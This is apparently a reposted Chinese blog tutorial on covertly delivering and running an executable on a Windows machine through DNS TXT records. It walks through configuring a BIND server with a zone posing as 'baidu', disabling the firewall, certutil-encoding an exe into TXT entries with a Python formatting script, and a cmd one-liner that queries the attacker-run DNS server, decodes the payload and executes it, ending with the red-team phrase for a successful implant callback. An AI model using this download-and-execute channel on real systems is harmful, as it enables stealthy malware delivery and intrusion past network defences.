admin 管理员组

文章数量: 887007

文章目录

  • 1. 搭建dns服务器
  • 2. 将要下载的文件转化格式
  • 3. 将数据输入到dns服务器中
  • 4. 下载文件并执行
  • 5. 参考文章

因为udp包最大只有65535byte,所以:
只能传递66k以下的文件
只能传递66k以下的文件
只能传递66k以下的文件

1. 搭建dns服务器

yum -y update
yum -y install bind bind-chroot bind-utils
vim /etc/named.conf

并添加 forwarders { 8.8.8.8; };,最终如下:

修改/etc/named.rfc1912.zones文件

vim /etc/named.rfc1912.zones

我们直接复制一份 /var/named/ 目录下的 named.localhost ,使用 cp -a 会直接把对应的权限设置也一并 copy 给新文件 baidu.zone,然后编辑文件并添加数据。

cp -a /var/named/named.localhost /var/named/baidu.zone
vim /var/named/baidu.zone

然后启动dns服务并关闭防火墙:

systemctl start named
systemctl stop firewalld

然后再另一台主机上使用,192.168.171.141是刚才配置的dns服务器的ip:

nslookup -q=txt www.baidu 192.168.171.141

2. 将要下载的文件转化格式

首先将文件转化成二进制格式:

certutil -encode whoami.exe a.txt

用下面的脚本将生成的数据进行格式化,每一行前面加上"exec,结尾加上"

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:Shanfenglan
# datetime:2021/12/13 9:55 PM
# In god's hands.

b = ''
with open("1.txt","r") as f:
    for i in f:
        i = "\"exec"+i.strip()+"\""+"\n"
        b+=i

with open("2.txt","w+") as f:
    f.write(b)

更改后格式如下:

3. 将数据输入到dns服务器中

将上面的数据输入到括号中:

然后重启named服务:

4. 下载文件并执行

在windows机器上执行下面的命令:

cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu 192.168.171.141 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe


成功上线。

5. 参考文章

https://mp.weixin.qq/s/pxKmEO3_ljWSW7WhNQbSzQ

本文标签: 远程下载 新方案 Windows